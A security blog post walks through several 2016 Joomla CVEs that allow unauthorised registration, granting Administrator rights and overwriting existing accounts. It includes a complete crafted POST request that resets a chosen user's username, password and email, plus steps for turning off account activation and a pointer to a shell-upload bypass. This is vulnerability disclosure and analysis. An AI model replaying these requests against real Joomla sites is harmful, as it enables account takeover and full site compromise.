Retrospective: Joomla accounts modification and other disasters.
Hi, guys!
Today I want to tell you about last Joomla vulnerabilities. Issues I want to talk about are
I guess you already know about first three CVE because of Joomla is a very popular CMS around the world and these problems found a few month ago. But I have some words about exploitation and bug itself.
Let’s start with fast bug details.
There are two methods for user registration exists — UsersControllerRegistration and UsersControllerUser. You can find it inside /components/com_users/controllers/registration.php:108 and /components/com_users/controllers/user.php:293. The first method is legal and used by Joomla itself for user registrations. Second doesn’t call from anywhere but we can call it with a custom request to a server. To build it you need to take real register POST request then change task parameter from registration.register to user.register and use user array instead of jform.
Let’s cut to the chase.
Send it and a new user will be created ignoring allowUserRegistration = false setting. Welcome to the CVE-2016-8870 issue. Let’s look at the response details. Be cool and use var_dump as a debugger 😉
As you can see groups array parameter of a created user is exists. You can manually set group of a new user inside POST request like that:
Pay attention on group id. It’s 7 — Administrator. There is CVE-2016-8869. Unfortunately, you cannot create a user with Super Administrator privileges at once because JUser class have some checks to prevent that:
744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 | // The only mandatory check is that only Super Admins can operate on other Super Admin accounts. // To add additional business rules, use a user plugin and throw an Exception with onUserBeforeSave. // Check if I am a Super Admin $iAmSuperAdmin = $my->authorise('core.admin'); $iAmRehashingSuperadmin = false; if (($my->id == 0 && !$isNew) && $this->id == $oldUser->id && $oldUser->authorise('core.admin') && $oldUser->password != $this->password) { $iAmRehashingSuperadmin = true; } // We are only worried about edits to this account if I am not a Super Admin. if ($iAmSuperAdmin != true && $iAmRehashingSuperadmin != true) { // I am not a Super Admin, and this one is, so fail. if (!$isNew && JAccess::check($this->id, 'core.admin')) { throw new RuntimeException('User not Super Administrator'); } if ($this->groups != null) { // I am not a Super Admin and I'm trying to make one. foreach ($this->groups as $groupId) { if (JAccess::checkGroup($groupId, 'core.admin')) { throw new RuntimeException('User not Super Administrator'); } } } } // Fire the onUserBeforeSave event. |
Now you can log in as created administrator and try to upload a file. Thanks to Xiphos Research Labs for shell file upload bypass with .pht extension (CVE-2016-9836). Guys from Xiphos also write the exploit to automate stack of CVE-2016-8869, CVE-2016-8870, and CVE-2016-9836 bugs.
It’s all good and very useful but waits for a second. What about CVE-2016-9081? The description says: “Incorrect use of unfiltered data allows for existing user accounts to be modified; to include resetting their username, password, and user group assignments”.
That’s right, we don’t need to create an account with only Administrator privileges because we can change login, email and password of existing Superadmin account.
For that operation, I need to know the only ID of that account. Where can I take it? The simplest way is register admin (ID=7), then log in administrator panel go to “Users” page and write down super admin ID. A piece of cake.
Let’s see to the POST request for change user data of existing account.
Look at the user[groups][] value. There is an empty line. It needs for preventing script to replace group ID with the default value (ID=2 — Registred).
But we have one more problem here. After user creation, it blocked and need to be activated. Token for that will be sent to email from the request. But Joomla doesn’t allow you to change super administrator account as we can already see. Let’s see to this part of code:
398 399 400 401 402 403 404 405 406 | $useractivation = $params->get('useractivation'); $sendpassword = $params->get('sendpassword', 1); // Check if the user needs to activate their account. if (($useractivation == 1) || ($useractivation == 2)) { $data['activation'] = JApplicationHelper::getHash(JUserHelper::genRandomPassword()); $data['block'] = 1; } |
Variable $useractivation is reading from Joomla settings and our newly created admin can change it. Go to user registration settings and set New User Account Activation option to None.
After that, you can add user[block] to POST request for change user data and send it for successful exploitation of CVE-2016-9081 issue.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | POST /index.php/component/users/ HTTP/1.1 Host: joomla.local Cache-Control: max-age=0 Origin: http://joomla.local User-Agent: PipBoy 3000 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI Accept: */* Referer: http://joomla.local/index.php/author-login Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: 82dbfb3ecd170841cef1b1d02107f92f=k112r9p4i096emdut3trb0s8a0; Connection: close ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[id]" 506 ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[block]" 0 ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[groups][]" ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[name]" pes ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[username]" dog ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[password1]" q1w2e3 ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[password2]" q1w2e3 ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[email1]" dog@pes.com ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="user[email2]" dog@pes.com ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="option" com_users ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="task" user.register ------WebKitFormBoundaryefGhagtDbsLTW5qI Content-Disposition: form-data; name="4433b98ad230b93c90d26e79d81d9079" 1 ------WebKitFormBoundaryefGhagtDbsLTW5qI-- |
Voila, account successfully created without block!
During writing this article I found another similar issue — CVE-2016-9838. But for that time problem was in real registration method. Inside UsersControllerRegistration class I mean.
Look at this part of code:
136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 | $data = $model->validate($form, $requestData); // Check for validation errors. if ($data === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session. $app->setUserState('com_users.registration.data', $requestData); |
If sent registration data doesn’t pass validation then it saves inside com_users.registration.data state. Whereas raw data from sent form is saving. Look at $requestData variable.
Next, this part of code extract data from com_users.registration.data state after valid data sent to registration:
234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 | public function getData() { if ($this->data === null) { $this->data = new stdClass; $app = JFactory::getApplication(); $params = JComponentHelper::getParams('com_users'); // Override the base user data with any data in the session. $temp = (array) $app->getUserState('com_users.registration.data', array()); foreach ($temp as $k => $v) { $this->data->$k = $v; } // Get the groups the user should be added to after registration. |
With two special crafted registration request, an attacker can update data of any user. He only needs to know his user id or brute it.
Okay. That’s all for today. Thanks for reading and have wonderful holidays. See ya.
P.S. If you keep your eye on last security news you must know about PHPMailer < 5.2.20 RCE vulnerability. Joomla was not spared from that problem. See details here.